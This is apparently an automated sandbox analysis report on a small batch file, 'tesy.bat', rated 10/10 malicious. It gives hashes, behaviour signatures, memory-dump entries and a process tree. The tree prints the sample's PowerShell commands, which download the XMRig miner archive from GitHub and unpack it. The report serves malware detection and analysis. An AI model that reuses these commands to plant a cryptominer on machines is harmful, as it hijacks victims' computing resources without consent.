04cf0194fb37bcc19b2b63904d84a74c720b64b7938620fdf971bb98a8f47ccd

Analysis

max time kernel
118s
max time network
130s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
22/12/2023, 05:54

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General

Target

tesy.bat
Size

608B
MD5

727c8da0478af118c957ae60f7161cab
SHA1

cf18105b8659e93bbd2824fa35ef1bae7b395301
SHA256

97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
SHA512

d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2572	powershell.exe
4	2572	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2572	powershell.exe
2760	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2572	powershell.exe
Token: SeDebugPrivilege	2760	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2220 wrote to memory of 2572	2220	cmd.exe	21
PID 2220 wrote to memory of 2572	2220	cmd.exe	21
PID 2220 wrote to memory of 2572	2220	cmd.exe	21
PID 2220 wrote to memory of 2760	2220	cmd.exe	30
PID 2220 wrote to memory of 2760	2220	cmd.exe	30
PID 2220 wrote to memory of 2760	2220	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2220
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2572
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2760

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
9f0e9931a8032bd447bcdec25668928f

SHA1
a5edabd1542fc974eefb6a98edd4507695a6e42f

SHA256
4efa876cebcf45e921c8956b18de7427b15b241fa2ec30db673568b7b61c3e65

SHA512
a30556abd150ee04af7ecbc60487a80e2326ce071370e0bd0990fc00e24d78425fc8d99f94bf49781f50b22d35e14449948d65085ff973b0263f855ff7320e31

Download Submit
memory/2572-12-0x000007FEF5A20000-0x000007FEF63BD000-memory.dmp

Filesize
9.6MB

Download
memory/2572-5-0x00000000026E0000-0x00000000026E8000-memory.dmp

Filesize
32KB

Download
memory/2572-7-0x00000000024A0000-0x0000000002520000-memory.dmp

Filesize
512KB

Download
memory/2572-8-0x000007FEF5A20000-0x000007FEF63BD000-memory.dmp

Filesize
9.6MB

Download
memory/2572-10-0x00000000024A0000-0x0000000002520000-memory.dmp

Filesize
512KB

Download
memory/2572-9-0x00000000024A0000-0x0000000002520000-memory.dmp

Filesize
512KB

Download
memory/2572-11-0x00000000024A0000-0x0000000002520000-memory.dmp

Filesize
512KB

Download
memory/2572-4-0x000000001B1A0000-0x000000001B482000-memory.dmp

Filesize
2.9MB

Download
memory/2572-6-0x000007FEF5A20000-0x000007FEF63BD000-memory.dmp

Filesize
9.6MB

Download
memory/2760-21-0x00000000029C0000-0x0000000002A40000-memory.dmp

Filesize
512KB

Download
memory/2760-20-0x000007FEF5080000-0x000007FEF5A1D000-memory.dmp

Filesize
9.6MB

Download
memory/2760-22-0x000007FEF5080000-0x000007FEF5A1D000-memory.dmp

Filesize
9.6MB

Download
memory/2760-23-0x00000000029C0000-0x0000000002A40000-memory.dmp

Filesize
512KB

Download
memory/2760-24-0x00000000029C0000-0x0000000002A40000-memory.dmp

Filesize
512KB

Download
memory/2760-25-0x00000000029C0000-0x0000000002A40000-memory.dmp

Filesize
512KB

Download
memory/2760-19-0x0000000002310000-0x0000000002318000-memory.dmp

Filesize
32KB

Download
memory/2760-18-0x000000001B2C0000-0x000000001B5A2000-memory.dmp

Filesize
2.9MB

Download
memory/2760-26-0x000007FEF5080000-0x000007FEF5A1D000-memory.dmp

Filesize
9.6MB

Download